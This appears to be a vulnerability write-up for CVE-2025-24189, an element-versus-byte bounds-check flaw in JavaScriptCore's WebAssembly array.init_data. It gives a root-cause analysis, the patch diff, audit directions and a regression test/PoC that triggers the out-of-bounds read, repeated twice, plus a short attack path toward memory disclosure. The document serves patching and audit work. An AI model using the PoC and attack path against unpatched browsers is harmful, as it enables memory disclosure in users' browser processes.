CVE-2025-24189
Overview
Background
- WASM GC arrays / array.init_data
- WebAssembly garbage-collected arrays; array.init_data copies bytes from a module data segment into an array.
- element vs byte extent
- An array of N elements spans N*elementSize bytes; bounds must be checked in bytes, not element count.
- CheckedUint32
- An overflow-trapping unsigned type used to validate the multiplication size*elementSize.
Root Cause Analysis
This fixes an out-of-bounds read in the WebAssembly GC array.init_data implementation caused by a source-range bounds check performed in element units rather than bytes. arrayInitData copies size elements from a passed data segment (at srcOffset) into a WASM array whose elements are elementSize bytes.
Pre-patch, after checking the destination range, it validated the source only as CheckedUint32 lastSrcElementIndexChecked = srcOffset + size (an element count) for overflow, then performed the copy over size * elementSize bytes (instance->copyDataSegment(…, size * elementSize, …)). Because the overflow/extent check ignored elementSize, the actual byte extent (size * elementSize + srcOffset) could overflow or exceed what was validated, so a large size with a multi-byte element type reads out of bounds from the data segment.
The fix computes the byte extent with overflow checking — CheckedUint32 lastSrcByteChecked = size; lastSrcByteChecked *= elementSize; lastSrcByteChecked += srcOffset; — and returns false if it overflows, before copying.
The restored invariant is that the source byte range (size*elementSize + srcOffset), not just the element count, is overflow-checked. The regression test invokes array.init_data with size = -2 (0xFFFFFFFE).
Attack Path
- Define a WASM GC array + data segment Create a module with a mutable array type and a data segment.
- Call array.init_data with a huge size Invoke array.init_data with a size (e.g. 0xFFFFFFFE) whose byte extent size*elementSize overflows the element-count-only check.
- Read out of bounds The copy reads size*elementSize bytes from the data segment beyond its bounds into the array.
- Disclose / corrupt memory Use the OOB-sourced bytes as an information leak or corruption primitive in the WebContent process.
Impact Assessment
Files Changed
Source/JavaScriptCore/wasm/WasmOperationsInlines.hJSTests/wasm/stress/array-init-data-bounds.js
Audit Directions
- Same file: element vs byte boundsAudit arrayInit/arrayCopy/arrayFill and other WasmOperationsInlines routines for bounds checks in element units that feed byte-sized copies (size * elementSize).
- Overflow in size mathGrep WASM operations for multiplications by elementSize / stride not wrapped in CheckedUint32 before an access.
Patch
diff --git a/Source/JavaScriptCore/wasm/WasmOperationsInlines.h b/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
index 757287d4bf3c..3d6816316672 100644
--- a/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
+++ b/Source/JavaScriptCore/wasm/WasmOperationsInlines.h
@@ -440,13 +440,15 @@ inline bool arrayInitData(JSWebAssemblyInstance* instance, EncodedJSValue dst, u
if (lastDstElementIndexChecked > dstObject->size())
return false;
- CheckedUint32 lastSrcElementIndexChecked = srcOffset;
- lastSrcElementIndexChecked += size;
+ size_t elementSize = dstObject->elementType().type.elementSize();
- if (lastSrcElementIndexChecked.hasOverflowed())
+ CheckedUint32 lastSrcByteChecked = size;
+ lastSrcByteChecked *= elementSize;
+ lastSrcByteChecked += srcOffset;
+
+ if (lastSrcByteChecked.hasOverflowed())
return false;
- size_t elementSize = dstObject->elementType().type.elementSize();
return instance->copyDataSegment(dstObject, srcDataIndex, srcOffset, size * elementSize, dstObject->data() + dstOffset * elementSize);
}
diff --git a/JSTests/wasm/stress/array-init-data-bounds.js b/JSTests/wasm/stress/array-init-data-bounds.js
new file mode 100644
index 000000000000..07fc1612530b
--- /dev/null
+++ b/JSTests/wasm/stress/array-init-data-bounds.js
@@ -0,0 +1,30 @@
+/*
+(module
+ (memory (export "memory") 1)
+ (type $vec (array (mut i32)))
+ (data $data0 "1234")
+
+ (func $main(result (ref null $vec))
+ (local $arr(ref null $vec))
+ (local.set $arr (array.new_default $vec (i32.const 4)))
+
+ (array.init_data $vec $data0
+ (local.get $arr)
+ (i32.const 0)
+ (i32.const -2)
+ (i32.const 1))
+
+ (local.get $arr)
+ )
+
+ (export "main" (func $main))
+)
+ */
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x89,0x80,0x80,0x80,0x00,0x02,0x5e,0x7f,0x01,0x60,0x00,0x01,0x63,0x00,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x01,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0c,0x81,0x80,0x80,0x80,0x00,0x01,0x0a,0xa0,0x80,0x80,0x80,0x00,0x01,0x9a,0x80,0x80,0x80,0x00,0x01,0x01,0x63,0x00,0x41,0x04,0xfb,0x07,0x00,0x21,0x00,0x20,0x00,0x41,0x00,0x41,0x7e,0x41,0x01,0xfb,0x12,0x00,0x00,0x20,0x00,0x0b,0x0b,0x87,0x80,0x80,0x80,0x00,0x01,0x01,0x04,0x31,0x32,0x33,0x34]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+try {
+ f();
+} catch {
+}
Regression Test / PoC
diff --git a/JSTests/wasm/stress/array-init-data-bounds.js b/JSTests/wasm/stress/array-init-data-bounds.js
new file mode 100644
index 000000000000..07fc1612530b
--- /dev/null
+++ b/JSTests/wasm/stress/array-init-data-bounds.js
@@ -0,0 +1,30 @@
+/*
+(module
+ (memory (export "memory") 1)
+ (type $vec (array (mut i32)))
+ (data $data0 "1234")
+
+ (func $main(result (ref null $vec))
+ (local $arr(ref null $vec))
+ (local.set $arr (array.new_default $vec (i32.const 4)))
+
+ (array.init_data $vec $data0
+ (local.get $arr)
+ (i32.const 0)
+ (i32.const -2)
+ (i32.const 1))
+
+ (local.get $arr)
+ )
+
+ (export "main" (func $main))
+)
+ */
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x89,0x80,0x80,0x80,0x00,0x02,0x5e,0x7f,0x01,0x60,0x00,0x01,0x63,0x00,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x01,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x02,0x00,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0c,0x81,0x80,0x80,0x80,0x00,0x01,0x0a,0xa0,0x80,0x80,0x80,0x00,0x01,0x9a,0x80,0x80,0x80,0x00,0x01,0x01,0x63,0x00,0x41,0x04,0xfb,0x07,0x00,0x21,0x00,0x20,0x00,0x41,0x00,0x41,0x7e,0x41,0x01,0xfb,0x12,0x00,0x00,0x20,0x00,0x0b,0x0b,0x87,0x80,0x80,0x80,0x00,0x01,0x01,0x04,0x31,0x32,0x33,0x34]);
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+try {
+ f();
+} catch {
+}